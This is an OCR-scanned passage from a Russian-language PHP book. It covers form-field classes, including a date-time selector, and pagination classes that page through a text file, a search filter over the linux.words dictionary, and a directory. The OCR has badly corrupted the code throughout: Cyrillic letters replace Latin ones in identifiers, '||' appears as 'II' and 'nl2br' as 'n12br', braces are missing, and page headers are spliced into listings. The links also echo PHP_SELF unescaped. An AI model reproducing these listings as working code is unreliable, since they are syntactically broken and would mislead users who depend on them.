Глава 6. Вспомогательный набор классов. Framework $tag = preg_replace ($pattern, '<i>\\l</i> ',$tag ) ; $pattern = "#\ [url\] [\з] * ( (?=http : ) [\8] *) [\з] *\ [ \/url\]#si"; $tag = preg_repl ace ( $pattern , ' <а href=" \\l" target=_blank>\\l</a>' ,$tag ) ; $pattern = "#\ [ url [\s] *= [\s] *((? =http :) [\8] +) [ \s ]*\] [\s] *([Л\ [ ]*)\[/url\ ] #isu "; ?> $tag = preg_replace ($pattern, '<а href="\\l" target=_blank>\\2</a> ', $tag) ; if (get_rna gic_quotes gp c() ) $tag = stripcslashes ($tag ) ; return array ($this->caption, n12br ($tag) ); // Метод, проверяющий корректность переданных данных function check ( ) return 11 11 . , 467 Для того чтобы обработка параграфа в методе print_form () класса form про­ текала правильно, необходимо модифицировать switсil-оператор, включив в него саsе-оператор для параграфа (листинг 6.39). Листинг 6.39 . Специальная обработка параграфа 8 методе print_f orm () класса form <?php switch ($obj ->type ) case "hidden" : // Скрытое поле echo $tag ; break; case "paragraph" : case "title" :
468 ?> Часть 1. Общие вопросы // Заголовок echo "<tr> break; de fault : <td $style $class colspan=2 va lign=top>$tag</td> </tr>\n" ; // Элементы управления по умолчанию echo "<tr> <td width=lOO $style $class valign= top>$capt ion : </td> <td $style $class va lign=top>$ tag </td> </tr>\n" ; if( !empty ($help} } echo "<tr> break; <td> &nbsp ;</ td> <td $style $class va lign=top> $help</ td> </tr>" ; 6.21 . Выбор даты и времени. Класс fi e/d_da tetime До этого момента новые элементы управления в основном дубл ировал и су­ ществующие в HTML элементы управления и может казаться не совсем по­ нятным, как, дублируя одну систе му кодирования другой, можно доб иться увеличения скорости разработки Web-приложениЙ. Преимущества набора классов заключается в его расширяемости - можно создать достаточно крупные блоки со сложн ыми условиями проверки кор­ ректности ввода. В качестве одного из таких круп ных блоков, которые часто используются при создании Web-приложений, может выступать набор выпа­ дающих списков для выбора даты и времени (рис. 6.30).
Глава 6. Вспомогательный набор классов. Framework 469 3а пи{;ъ ': [ ....... .- --... -. .. . .. ........ .- . . - _ ...... .. , Дата: I�.}.�[9.�ltfIl?'Q Q z:EJ I� .?lEJl:37а Добави ть Рис. 6.30. Выбор даты и времени Обработка и проверка корректности ввода таких списков, особенно есл и дата ограничена сверху и снизу, может отн имать много сил Web-разраБОТЧ Иl\:а. Поэто му разумно унаследовать от базового кл асса field новый класс field_da tetime И поручить ему все рути нные операции проверки ко рректно­ сти (л истинг 6.40). Кл асс field_da tetime снабжен тремя закрытыми членами: О $time - время в формате UNIXSTAMP (количество секунд, прошедших с первого января ] 970 года); о $begin_ye ar - минимальный допустимый год; О $end_ye ar - максимальный допусти мый год. Листинг 6.40. Класс выбора даты и времени field_da tetl.me <?php //////////////////////////////////////////////////////////// // Элемент управления для выбора даты и времени ////////// ////////////////////////////////////////////////// class field datetime extends field
470 // Время в time protected $time ; // Началь ный год protected $begin_year; // Конечный год protected $end_year; // Конструктор класса function __cons truct ($name , $capt ion , $time , $begin_ye ar = 2000, $end_year = 2020, $parameters $help = "", $help_url = "1' , "") // Вызываем конструктор базового кл асса field / / для инициализации е го данных parent : : __construct ($name , "datetime " , $caption, false , $value , $parameters , $help , $help_url ); if (empty ($time) ) $this->time else if ( is_a rray ($time) ) time () ; $this->time = rnktime($time[ 'hour'] , $time [ 'minute ' ], О, $time[ 'month'] , $time ['day ' ], $time ['year' ] ) ; Часть 1. Общие вопросы
Глава 6. Вспомогательный набор классов. Framework else $this->time $this->begin_ye ar $this->end_year $time i $begin_ye ari $end_yeari // Дата в формате MySQL function get_mysql_for.mat () return date ("Y -m -d H:i:s", $this->time) i // Метод для возврата имени поля // и самого тега элемента управления function get_html () // Если элементы оформления не пусты, учитываем их if (!emp ty ($this->css_s tyle )) $style "style=\ "" .$this->css_style ."\""i else $style = ""; if (!emp ty ($this->css_class) ) $class "class=\ "" . $this->css_c lass . "\'' ' ' i else $class 11 ". , / / Формируем тег $date_month @date ("m" , $date_day @date ("d" , $date_year @date ("Y" , $date_hour @date ("H" , $date_mi nute @date ("i", $this->time ) i $this->time ) i $this->time) i $this->time ) i $this- >time ) i / / Выпадающий список для выбора числа $tag = "<select title= 'Число , 471
472 for ($i $style $class type=text пате= ' " . $this->name . " [day] '>\п" ; 1; $i <= 31; $i++) if ($date_day == $i) $temp "selected" ; else $temp = ""; Часть 1. Общие вОПРОСbl $tag "<opt ion value=$ i $temp> ".sprintf ("%02d" , $i) ; $tag .= "</select>" ; // Выпадающий список для выбора месяца $tag .= "<select titlе= 'Месяц ' $style $class type=text пате= ' " . $this->name . " [month] '>"; for ($i 1; $i <= 12; $i++) if ($date_mo nth == $i) $temp "selected" ; else $temp = ""; $tag "<opt ion value=$ i $temp >" . sprintf ("%02d" , $i) ; $tag .= "</select>"; / / Выпадающий список для выбора года $tag .= "<select titlе= 'Год ' $style $class type=text пате= ' " . $this->name . " [year] '>"; for ($i 2004; $i <= 2017; $i++) if ($date_ye ar == $i) $temp "se1ected" ; else $temp = ""; $tag "<opt ion value=$ i $temp>$ i"; $tag .= "</select>" ; // Вьшадающий список для указания часа $tag .= "&nbsP; &nbsp ; <select titlе= ' Часы ' $style $class type=text пате= ' ".$this->name . "[hour ] '>"; for ($i О; $i <= 23; $i++)
Глава 6. Вспомогательный набор кл ассов. Framework if ($date_hour == $i) $temp else $ternp = ""; "selected" ; $tag "<opt ion value=$i $ternp> ".sprint f ("%02d", $i) ; $tag .= "</select>"; // Выпадающий список для указания минут $tag .= "<select titlе= ' Минуты ' $style $class type=text narne= ''' . $this->narne . " [rninute ] '>"; for ($i О; $i <= 59; $i++) if ($date_rninute == $i) $temp else $ternp = ""; "selected" ; $tag "<opt ion va lue=$i $ternp> ".sprintf ("%02d",$i) ; $tag "</select >" ; // Если поле обязатель но , отмечаем этот факт if ( $this->is_required) $this->caption .= " // Формируем подсказку , если она име ется $help = ""; if(!empty ($this->help ) ) $help "<span style= 'color : blue '>". n12br ( $this->help ) . "</span>"; if (!empty ($help) ) $help .= "<br> "; if (!ernpty ($this->help_url )) $help "<span style= 'color : blue '> *" ., <а hrе f=" . $this->hе lр_url .">помощь </а> </span> " ; 473
474 ?> Часть 1. Общие вопросы return array ($this->caption, $tag, $help) i // Метод, проверяющий корректность переданных данных function check () if (date ('Y' , $this->time ) > $this->end_ye ar II date ('Y' , $this->time ) < $this->begin_year) return "Поле \"" . $this->caption ."\" содержит недопустимое значение (его значение return "" . , должно лежать в диапазоне " . $this->beginye ar ."-" .$this->end_year .") "i Конструктор кл асса field_datetime принимает в качестве параметра дату и время в UNIХ8ТАМР-формате $time, а также максимальный $end_ year и минимальный $begin_year допустимый год . Метод get_html ( ) формирует набор выпадающих списков для года, месяца, даты, минут и секунд. Метод check () осуществляет проверку, не рыходят ли текущие дата и время за ин­ тервал, задаваемый параметрами $begin_year И $end_ye ar. 6.22. Обзор элементо в управления в завершение гл авы приведем общую схему элементов управления 8oft­ Time Framework (рис. 6.3 1). Гл авная особенность данной схемы закл ючается в том, что она не является завершенной - в любой момент ее можно расши­ рить новыми элементам и управления, включающими как один HTML­ элемент управления со специфической обработкой (и даже Java8cript­ вставками), так и комбинированные элементы управления, содержащие не­ сколько НТМL-элементов (см. раздел 6. 21).
Гл ава б. Вспомогательный набор классов. Fгamework 475 field field_checkbox field.J)assword fi eld.J)aragraph field_datetime Рис. 6.31 . Иерархия классов SoftTime Framework
ГЛАВА 7 Постраничная навигация Одним из самых распространенных блоков, применяемых при построении сайта, является постранич ная навигация, позволяющая разбить дл инны е спи­ ски (стате й, фотограф ий, сообщений и т. п.) на отдел ьные стран ицы . Пользо­ вател ям неудобно и накл адно выгружать длительные списки, особенно когда из списка требуются лишь нескол ько пеРВqIХ эл ементов. Именно тут на по­ мощь приходит постранич ная навигация . 7.1 . Б азовый кл асс пострани чной навигации Объемный список неудобно отображать на странице цел иком, так как это требует значител ьных ресурсов. Гораздо нагляднее выводить список, напри­ мер, по 1 О элементов, предоставл яя ссылки на оставшиеся стран ицы. В большинстве случ аев такая задач а решается без привлеч ения объектно­ ориентированного подхода и тем более без наследуемой иерархии и пол и­ морфизма. Однако в Web-приложении источником списка элементо в, к кото­ р ому следует применить постранич ную навигацию, могут выступать база данных, файл со строками, директо рия с файлами изображений и т. п. Каж­ дый раз создаВl1ТЬ отдельную функцию для реализации постранич ной нави­ гации не всегда удобно, так как придется дубл ировать знач ител ьную ч асть кода в нескольких функциях. В данном случ ае удобнее реализовать постра­ ничную навигацию в методе базового класса pager, а методы, работающие с конкретными источ никами, переопредел ить в производных классах: L] page r_my sql - постранич ная навигация дЛЯ СУБД MySQL; L] pager_file - постраничная навигация для текстового файла; L] pager_d ir - постраничная навигация для файлов в директории.
Глава 7. Постр аничная навигац ия 477 Иерархия классов пьстраничной навигации представлена на рис. 7. 1 . Рис. 7 .1 . Иерархия классов постраничной навигации Создадим базовый класс pager, который при помощи перегруже нного метода _t oString () (см. раздел 1. 17) будет выводить ссыл ки постран ичной нав и га­ ции в следующем формате : [1- 10] ... [281- 290] [291 - 300] [301-310] [311- 320 ] [321- 330] ... [511-517 ] Номера отображенных на экране элементов [3 01-310] выделяются жирным шрифтом. Крайняя левая и крайняя правая ссылки позволяют перейти в на­ чало и ко нец списка, а вокруг текущей страницы выводятся ссылки на сосед­ ние страницы. Класс page r () "не знает", каки м образом производные кл ассы будут узнавать общее кол ичество позиций в списке, сколько позиций будет отображаться на одной странице, скол ько ссылок находится слева и справа от текуще й стра­ ницы. Поэтому помимо метода _ToString () класс будет содержать четы ре защищенных (p rotected) метода, которые воз вращают: О get_total () - общее кол ичество позиций в списке; О ge t_pnumber () - кол ичество позиций на странице; О get_page_l ink () - кол ичество позиций сл ева и справа от текущей стра­ ницы; О get_p arameters () - строку, которую необходимо передать по ссыл кам на другую страницу (например, при постран ичном выводе результатов поиска по ссылкам придется передавать резул ьтаты поиска) . В листинге 7. 1 представлена одна из возможных реализаций класса page r. Следует обратить внимание, что перечисленные выше методы не несут ника­ кой функциональности : они необходимы лишь для того, чтобы обращение к ним из метода _toString () не приводило к ошибке. Сами методы должны быть реализованы в производных классах.
478 Часть 1. Общие вопросы ЗАМЕЧАНИЕ Конструктор кл асса pager объявлен защищенным, то есть из внешнего ко­ да не будет никакой возможности объявить объект кл асса pager: такая предосторожность необходи ма, поскольку сам по себе класс page r не яв­ ляется работоспособным, он лишь задает функциональность производных классов. Листинг 7.1 . Реал изация класса pager <?php class pager protected function __construct () protected function get_total () // Общее количество запи сей protected function get-pnurnber () // Количе ство позиций на странице protected function get_page_l ink () // Количе ство ссылок слева и справа // от текущей странице protected function get-parameters () // Дополнительные параметры, которые / / необходимо пере дать по ссылке / / Ссылки на другие страницы public function __toString ()
Глава 7. Постраничная навигация // Строка для возвращаемого резуль тата $re turnyage "" ., // Через GЕТ-параметр page передается номер // текущей страницы $page = intval ( $_GET ['page ' ]); if (empty ( $page) ) $page = 1; / / Вычисляем число страниц в системе 479 $number = (int ) ($thi s->get_total ()/$this->getynumber () ); if ((float ) ($this->get_total ()/$this->getynumber () ) - $number != О) $number++ ; // Проверяем, есть ли ссылки слева if ( $page - $this->get_page_link () > 1) $re turnyage "<а href=$_SERVER [PHP SELF] ". "?page=l {$this->getyarameters () }> [l-{$th is->getynumb er ( )}] </a>&nbsp ; &nbsp; .. .&nbsP ; &nbsp ; "; // Есть for ($i $page - $this->getyage_l ink () ; $i<$page ; $i++) $re turny age .= "&nb sp ;<a href=$_SERVER [PHP_SELF] ". else // Нет for ($i "?page=$ i { $this->get_parameters () } > [" . (($i - l) *$this->getynumber () + 1) . "-" . $i*$this->getynumber () ."] </a>&nb s p; "; 1; $i<$page ; $i++)
480 Часть 1. Общ ие вопросы $returnyage .= "&nb sp ;<a hre f=$_SERVER [ PHP_SELF]". "?page=$ i { $this->get_parameters () » [". (($i - l) *$this->get_pnumb er () + 1) . "-" . $i*$this->getynumb er () ."] </a>&nbsp; "; 11 Пр оверяем, есть ли ссылки справа if ( $page + $this->get_page_1ink () < $numbe r) 11 Есть for ($i $page ; $i<=$page + $this->get_page_1 ink () ; $i++ ) if ($page == $i) $returnyage .= "&nb sp ; [". e1se (($i - 1) * $this->get_pnumbe � () + 1) . "-" . $i*$this->getynumbe r(� ."] &nbsp; "; $return_page .= "&nb sp ;<a href=$_SERVER [PHP_SELF] ". "?page=$ i { $this->get_parameters () )> [". (($i - 1) *$this->get_pnumb er () + 1) . "-" . $i*$this->get_pnumber () . "] </a> &nbsp; "; $returnyage .= "&nbsp ; ...&nbsp ; &nbsp; ". else "<а href=$_SERVER [PHP_SELF ]". "?p age=$ number{ $this->get_parame ters () » [" .(( $number - l) *$this->getynumber () + 1) . "- { $this->get_t otal () )] </a> &nbsp; "; 11 Нет for ($i $page ; $i<=$numbe r; $i++ )
Глава 7. Постраничная навига ция ?> if($number $i) if ( $page == $i) $return_page П &nbsр; [П. (($i - l) * $this->get_pnumbe r() + 1) . П_ { $th is->get_t otal () }]&nbзр ; П ; else else $returnyage .= П&nb sр ;<а hre f= $_SERVER [PHP SЕLF] П. П?раgе=$i {$this->gеtуаrarnеtеrs () }> [П. (($i - l) *$thi-s ->get_pnumbe r() + 1) . П- { $thi s->gеt_tоtаl () }] </а>&nbSР; П ; if ($page == $i) $return_page .= П&nbsр ; [П. (($i - l) *$this->getynumber () + 1) . П_П . $i*$this->gеtупumbеr () .П] &nbsр ; П ; else $returnyage .= П&nb sр ;<а hrеf=$_SЕRVER [ РНР_SЕLF] П. П?раgе=$i { $this->gеt_раrarnеtеrs () }> [П. (($i - l) * $this->getynumber () + 1) . П _П .$i*$this->getynumbe r() . П] </а>&nbsр; П; return $re turn_page ; 481 Заранее не известно, для какой страницы будет выводиться навигация, по­ этому в ссылках используется элемент суперглобального масс ива $_SERVER [ , РНР_SELF' ], который возвращает номер текущей стран ицы . Нуме-
482 Часть 1. Общие вопросы рация страниц начинается с 1; номер текущей страницы передается через ОЕТ-параметр page И доступен в суперглобальном массиве $_GET [ 'page ' ] . ЗА МЕЧА НИЕ Суперглобальные массивы ($_GET, $ _POST, $ _SESSI ON, $ COOКIE, $ _GLOBAL, $_REQUEST) доступны в любой части скрипта , поэтому не обяза­ тел ьно предусматривать передачу их элементов объекту. 7.2. Файловая постраничная навигация Реализуем постраничную навигацию при помощи производного кл асса pager_file, который будет работать с источником и перегрузит методы get_total (), get_pnurnber (), get_page_l ink () и get_p arameters () базового кл асса pager. Рассмотрим простейший случай, когда класс pager_ file читает строки из текстового файла и выводит 1 О строк на одной странице, предос­ тавляя ссылки на другие страницы (листи нг 7.2). Л истинг 7.2. Класс pager_f ile <?php // Подключаем базовый класс require_once ("class . pager . php " ); class pager_file extends pager // имя файла protected $fi lename ; // Количество позиций на странице private $pnumbe r; // Количество ссылок слева и справа // от текущей страницы private $page_l ink; / / Параметры private $parameters ; // Конструктор public function __construct ($filename , $pnumber = 10,
Глава 7. Постр аничная навига ция $page_l ink = З , $parameters = "") $this->filename $this->pnumber $this->page_l ink $this->parameters $fi lename ; $pnumber; $page_link ; $parameters ; public function get_total () $coun� line = О; // Открываем файл $fd = fopen ($this->filename , "r") ; if ($fd) { // · Подсчитываем количество записей // в файле while ( ! feof ($fd) ) } fgets ($fd, 10000) ; $count line++ ; / / Закрываем файл fclose ($fd) ; return $countline ; public function get - pnumber () // Количество позиций на странице return $this->pnumber; public function get-page_l ink () // Количество ссылок слева и справа // от текущей страницы return $this->page_l ink ; 483
484 public function get-parameters () // Дополнительные параметры , которые // необходимо передать по ссылке return $this->parame ters ; // Возвращае т массив строк файла // по номеру с траницы $index public function get_page () // Текущая страница $page = intval ($_GET ['p age' ] ); if (empty ($page ) ) $page � 1; // Количест во записей в файле $total = $this->get_total () ; / / Вычисляем ЧИСЛО страниц в системе $number = (int ) ($t otal /$this->get - pnumber () ); Часть 1. Общ ие вопросы if ((f loat ) ($total/$this->get_pnumb er () ) - $number != О) $numbe r++ ; // Проверяем, попадает ли запрашиваемый номер // страницы в инт ервал от 1 до get_tota1 () if ( $page <= О II $page > $number) return О; // Извлекаем позици и текущей страницы $arr = array() ; $fd = fopen ($this->fi lename , "r") ; if (!$fd) return О; // Номер , начиная с которог о следУе т // выбирать строки файла $first ($page - l) *$this->get - pnumber () ; for ($i О; $i < $total; $i++ ) $str = fgets ($fd, 10000�; // Пока не дости гнут номер $first, // досрочно заканчиваем итерацию if ($i < $first ) cont inue ; // Если достигнут конец выборки , // досрочно покидаем цикл if ($i > $first + $this->get-pnumb er () - 1) break;
Глава 7. Постр аничн ая навига ция 485 ?> // Помещаем строки файла в ма ссив , // который будет возвращен методом $arr [] = $str; fclose ($fd) ; return $arr; Конструктор кл асса page_file принимает четыре параметра: О $filename - имя текстового файла, высту пающего источником строк; О $рпшnbе r - количество позиций на странице, необязател ьный параметр; есл и не указывается при создании объекта, принимает значение 1 О; О $page_l ink - количество ссылок сл ева и справа от текущей стран ицы, необязател ьный параметр; есл и не указывается при создании объекта, принимает значение 3; О $parameters - параметры для передач и по ссылке на другие стран ицы, необязател ьный параметр; есл и не указывается при создан ии объекта, принимает значение 3. Данные четыре параметра передаются соответствующим закрыты м членам кл асса. Реализация методов gеt_рпшnbе r (), get_page link () и get_p arameters ( ) сводится к возвращ ению значений соответствующих за­ крытых чл енов. Метод get_total () открывает файл с именем $filename , пе­ реданным в конструкторе, и подсчитывает кол ичество строк в файле при каждом обращении. С то чки зрения производител ьности было бы разумно завести закрытую переменную $total И присваивать ей значение тол ько один раз в конструкторе, так как операция сканирования файла достато чно трудо­ емка. Однако это не всегда удобно, поскол ьку количество записей в файле может изменяться на всем протяжении существования объекта. Подсчет строк в файле осуществляется путем чтения строк функцией fgets ( ) в цикле whi le (). До тех пор, пока конец файла не достигнут, функ­ ция feof () возвращает значение false, И ци кл продолжает работу. Функция fgets ( ) читает из файла количество символов, указанное во втором парамет­ ре; чтение символов заканчивается, если функция встречает символ перевода строки . Обычно строки в тексто вых файлах гораздо короче 1 О 000 символов, поэто му чтение всегда выполняется корректно.
486 Часть 1. Общие вопросы ЗА МЕЧА НИЕ Для работы с текстовыми файлами можно использовать функцию file (), кото рая возвращает содержи мое текстового файла в виде массива, каждый элемент кото рого соответствует отдел ьной строке файла. Однако для фай­ лов большого объема функция file () не всегда подходит. Дело в том, что содержи мое файла приходится полностью загружать в память скриnта , ко­ то рая зачастую ограничена 8 или 16 Мбайт, а это приводит к аварийному завершению работы функци и file (). При использовании функции fgets ( ) В цикле whi le ()ДЛЯ хранения содержи мого файла скрипт в каждую секунду времени испол ьзует не бол ьше 10 Кбайт (переменная $str) . По мимо указанных выше методо в, объект снабжен методо м get_p age ( ), ко­ то рый возвращает массив строк файла, соответствующих текущей позиции. Функция ориентируется на GEt-параметр page, который используется дл я указания номера страницы в постраничной навигации. Есл и этот пара метр не установлен, считается, что текущей является первая страница. Перед испол ь­ зованием параметра проверятся, не выходит ли его значение за предел ы до­ пустимого интервала; если выходит, параметр принимает значение О. Далее вычисляется номер строки $first, нач иная с которой следует выбирать стро­ ки из файла и помещать их в масси в $arr, возвращаемый методом get_page () В качестве результата. По ка счетчик цикла for () не достиг вел и­ чины $first, итерация цикла может быть прекращена досрочно при помощи кл ючевого слова continue. Есл и счетчик цикла превысил величину, равную $first плюс количество позиций на странице, цикл прекращает работу при помощи ключевого слова break. ЗА МЕЧА НИЕ Следует отметить , что ни кл асс pager, ни класс pager_file не испол ьзуют ни одного оператора echo; результат возвращается при помощи ключевых слов return. О чень важно помещать в кл ассы как можно меньше инфор­ мации о дизайне и месте вывода информации на странице. Именно такой подход позволяет повторно использовать классы в других проектах. Место­ положение вывода - это задача л ибо кл иентского кода, либо специального кл асса вывода; абстрактный тип данных должен решать тол ько свойствен­ ные ему задачи. Теперь, когда гото в первый производный класс постраничной нави гации, можно воспользоваться им для представления файла большого объема ­ стандартного словаря операционной системы Lil1t1x, который можно найти в /usr/sllare/dict/I il1ux.words.
Глава 7. Постраничная навигация 487 ЗА МЕЧА НИЕ Если вы работаете в операционной систе ме Windows , то найти файл linux.words можно на прилагаемом к данной книге ко мпакт-диске. в листи нге 7.3 приводится пример построения постран ичной навигаци и по сл оварю linux.words. Aarhus Aaron АЬаЬа aback abaft abandon abandoned abandoning abandonment abandons [1-10] [11 -201 [2 1 -30] [3 1 -40] ... [4 542 1 -45428] Рис 7.2 . П остраничная навигация Листинг 7.3 . Постраничная навигация по файлу <?php require_once ("class . pager_fi le .php ") ; // Объявляем объект постраничной навиг аци и $obj = new pager_fi le ("linux .words") ; // Выводим содержимое текущей страницы $arr = $obj ->get - page() ; for ($i = О; $i < count ($arr) ; $i++)
488 Часть 1. Общие вопр осы ?> echo "{$arr [$i] } <br>" ; // Выв одим ссылки на другие страницы echo $obj ; Резул ьтат работы скрипта из листинга 4.30 представлен на рис. 7.2 . 7. 3 . П остраничная навигация и поиск Классы не следует воспринимать как нечто статическое и завершенное. Ос­ новное преимущество объектно-ориентированного подхода заключается в том, что уже существующие кл ас сы легко расширяются . Например, пользо­ вателю может понадобиться возможность вывести в окно браузера все слова из словаря, начинающиеся с введенных им символов, а результаты поиска разбить на страницы. Разработанный ранее класс page r_file не подходит ДЛЯ решения этой задачи, так как не учитывает дополнительное ограничение. Однако не сто ит спешить его модифицировать, поскол ьку это может отра­ зиться на коде, уже испол ьзующем этот класс . Более правильным будет унас­ ледовать от кл асса pager_ file новый класс page r_file_s earch, модифици­ ровав его отдел ьные методы (рис. 7.3). Рис . 7 .3. Р асш ирение фун кциональности существующей систе мы путе м наследования в листинге 7.4 представлена возможная реализация класса pager_f ile_search, позволяющая устанавливать фильтры на позиции из словаря .
Глава 7. Постраничная навига ция Листинг 7.4. Класс pager _ file _ search <?php // Подключаем базовый класс require_on ce ("class . pager_fi le .php" ) ; class page r_fi le_s earch extends pager_fi le // Начало слова private $search ; // Конструктор public function __construct ($search, $filename , $рпшnbеr = 10, $page_l ink = 3) pa rent : : __cons truct ( $ filename , $рпшnbе r, $page_l ink, "&search=" . 'urlencode ($search ) ); $this- >search $search ; public function get_total () $count line = О; // Открыв аем файл $fd = fopen ($this- >filename , "r" ) ; if ($fd) // Подсчитыв аем количество записей // в файле whi le (!feof ($fd) ) $str = fgets ( $fd, 10000) ; if (preg_m atch (" [ Л " .preg_quote ($this- >search) ."[ i", $str) ) 489
490 $count 1ine ++ ; } // Закрыв аем файл fc10se ($fd) ; return $ coun t1ine ; // Возвращает ма ссив строк файла // по номеру страницы $index pub1 ic function get_page () // Текущая страница $page = $_GET ['page' ]; if(empty($page)) $page = 1; // Количество записей в файле $tota1 = $this->get_tota1 () ; / / Вычисляем число с траниц в системе $number = (int ) ($tota1 /$this->get�number () ); Часть 1. Общ ие вопросы if ((f1oat ) ($tota1/$this- >get�numb er () ) - $number != О ) $number++ ; // Проверяем, попадает ли запрашиваемый номер // страницы в интервал о т 1 до get_tota1 () if ( $page <= О II $page > $number) return О; // Извлекаем позиции текущей страницы $arr = array(); $fd = fopen ($this- >fi1ename , "r") ; if (!$fd) return О ; // Номер , начиная с которого следует // выбирать строки файла $first = ($page - 1) *$this ->get_pnumber () ; while ( ! feof ($fd) ) $str = fgets ( $fd, 10000) ; if (preg_ma tch ( " I л " .preg_quote ($this- >search) . " I i", $str) )
Глава 7. Постраничная навига ция ?> $count1ine++ ; // Пока не достигнут номер $first, // досрочно заканчиваем итерацию if ($count 1ine < $first + 1) cont inue ; // Помещаем строки файла в ма ссив , // который буде т возвращен методом $arr[] = $str; // Если достигнут конец выборки , // досрочно покидаем цикл if ($count 1ine >= $first + $this->get_pnumb er () ) break; // Закрыв аем файл fc1ose ($fd) ; return $arr; 491 Как видно из листи нга 7.4, перегрузке подвергся конструктор, который пер­ вым параметром $search теперь принимает искомое сл овосочетан ие, вторым параметром $filename - имя файла-источника и лишь затем необязател ьные параметры, среди которых отсутствует $parametrs. Последн ий параметр формируется явно при вызове конструктора базового класса - именно с его помощью передается искомое словосочетание $search. Помимо конструкто ра перегрузке подверглись методы get_tota1 ( ) И get_p age ( ) , которые при помощи регулярного выражения, выстраиваемого на основе члена $search, проверяют каждую строку файл а на соответствие заданному условию. В листинге 7.5 при водится пример использования объ­ екта класса pager_ file_s earch, в котором задается вывод всех сл ов из сл о­ варя, начинающихся с последо вател ьности lаЬ" по пять позиций на странице. Листинг 7.5 . Использование объекта кла сса pager _ f�le _ search <?php require_once ("c1ass . pager_fi 1e_search .php" ) ;
492 Часть 1. Общ ие вопросы ?> // Объявляем объект по страничной навигаци и $obj = new pager_file_s earch ("ab" , "linux .words ", 5) ; // Выв одим содержимое текущей страницы $arr = $obj ->get_page () ; for ($i = О; $i < count ($arr) ; $i++) echo "{$arr[$i] } <br> "; // Выводим ссыпки на другие страницы echo $obj ; Теперь не предста вляет сложности создать небол ьшое Web-приложение по поиску сл ов в Lil1uх-сл оваре (листинг 7.6). ЗА МЕЧА НИЕ При поиске для передачи параметров из НТМL-формы обработчику лучше пользоваться методом GET, чем POST. Во-первых, это позволяет ссылаться на резул ьтаты поиска, во-вторых, для организации постраничной навигации можно легко передавать все параметры формы через URL, не помещая их в сессию (так как массив для хранения данных сесси й $_SE SSION является су перглобальным и не сбрасывается автоматически , это зачастую приво­ дит к созда нию сложн ых систем, в кото рых легко допустить ошибку) . Листи нг 7.6. Поиск по файлу linux.words <form me thod=get> < input type=text name=search value=< ?= htmlspecialchars ( $_GET ['search' ], ENT_QUOTES ) ; ?» <input type=submit vаluе=Искать> </form> <?php requi re_once ("class . pager_f ile_search .php " ); // Обработчик НТМL-формы if (!empty ($_GET ) ) { // Объявляем объект постр аничной навигации $obj = new pager_file_search ( $_GET ['search' ], "linux .words " , 5) ;
Глава 7. Постраничная навига ция ?> // Выводим с одержимо е текущей страницы $arr = $Obj ->get-page () ; for ($i = О; $i < count ($arr) ; $i++) есЬо "{$arr [$i] }<br>"; // Выводим ссылки на другие страницы есЬо $obj ; Резул ьтат работы скрипта из листинга 7.6 представлен на рис. 7 .4 . АЬаЬа aback abafl: abandon abandoned [1-5] [6-10} [1 1-151 [16-20] ... 1256-260] Рис. 7.4. П о иск по сл оварю linux.words 7 .4. П остраничная навигация для директории 493 в качестве источника позиций, нуждающихся в постраничной навигации, мо­ жет выступать директория с файлам и. Сами файлы могут иметь разную приро­ ду - это может быть фотограф ия, путь к которой следует передать атрибуту
494 Часть 1. Общие вопросы src тега <img>, или тексто вый файл с сообщением ДЛЯ гостевой книги. Поэто­ му класс постраничной навигации pager_dir должен, по аналогии с pager_ file, возвращать массив путей к файлам, а выводить их в окно браузера. Это позвол ит, не сужая области применения класса, использовать его для орга­ низаци и постраничной навигации по любой произвольной директории. В листинге 7.7 представлен класс page r_di r, кото рый перегружает методы get_total (), get_pnumber (), get_page_l ink () И get_parameters () базового кл асса pager. Конструктор кл асса принимает в качестве первого параметра имя директории с файлам и $dirname , кол ичество позици й на те кущей стра­ нице $pnumber, кол ичество ссылок сл ева и справа от те кущей стран ицы $page_l ink и строку с GЕТ-параметрам и $parameters, которую следует пе­ редавать по ссылкам . ЗА МЕЧА НИЕ От класса pager_d ir можно, В свою очередь, унаследовать класс pager_di r_s ort, позволяющий задавать критерий сортировки файлов, или класс page r_dir_recurse, кото рый осуществляет рекурсивный спуск и учитывает файлы вложенных поддиректорий. Листинг 7.7 . Класс pager_dir <?php // Подкruочаем базовый класс requi re_once ("c lass . pager . php " ); class pager_d ir extends pager // имя директории protected $di rname ; // Количество позиций на странице private $pnumbe r; // Количе ство ссылок слева и справа / / от текущей страницы private $page_l ink ; // Параметры private $parameters ; // Конструктор public function __construct ($dirname , $pnumber = 10,
Глава 7. Постраничная навига ция $page_l ink = 3, $parameters = "11 ) 11 Удаляем последний символ 1 , если он имеет ся $this- >di rname trim ( $dirname , 11/11); $this- >pnumber $pnumbe r; $this- >page_l ink $this- >parameters $page_l ink; $parameters ; public funct ion get_t otal () $count line = О; 11 Ьткрыв аем дире КТОрlliО if ( ($dir = opendir ( $this->dirname) ) !== false ) while ( ($file readdir ($dir) ) !== false ) } 11 Если т екущая позиция являет ся файлом, 11 учитываем ее if (is file ($this ->dirname . 11 111 . $file ) ) $count line++ ; 11 Закрываем директ орlliO closedir ($di r) ; return $count line ; publ ic function get-pnumber () 11 Количест во позиций на с транице return $this- >pnumber ; public function get_page_link () 11 Количес т во ссылок слева и справа 11 от текущей страницы return $this- >page_l ink; public function get-parameters () 495
496 // Дополнительные параметры, которые // необходимо передать по ссылке return $this- >pa rameters ; // Возвращает массив строк файла // по номеру страницы $index public funct ion get - page () // Текущая страница $page = $_GET ['page' ]; if (emp ty ($page) ) $page = 1; // Количество записей в файле $total = $this->get_total () ; // Вычисляем количество страниц в системе $numb er = (int ) ($t otal /$this->get_pnumber () ); Часть 1. Общ ие вопросы if ((f loat ) ($total/$this->get_pnumber () ) - $numbe r != О ) $number++ ; // Проверяем, попадает ли запрашиваемый номер // страницы в интервал от 1 до get_t ot al () if ( $page <= О II $page > $numbe r) return О; // Извлекаем позиции текущей страницы $arr = array() ; // Номер , начиная с ко т орого следует // выбирать строки файла $first = ($page - 1) *$this- >get - pnumber () ; // Открыв аем директорию if ( ($di r = opendi r($this->di rname) ) === false ) return О; $i= -1; while ( ($file readdir ($dir) ) !== false ) // Если текущая позиция является файлом if (is_file ($this->dirname . " /" . $file ) ) // Увеличиваем счетчик $i++ ; // Пока не достигнут номер $first, // досрочно заканчиваем итерацию if ($i < $first) cont inue ;
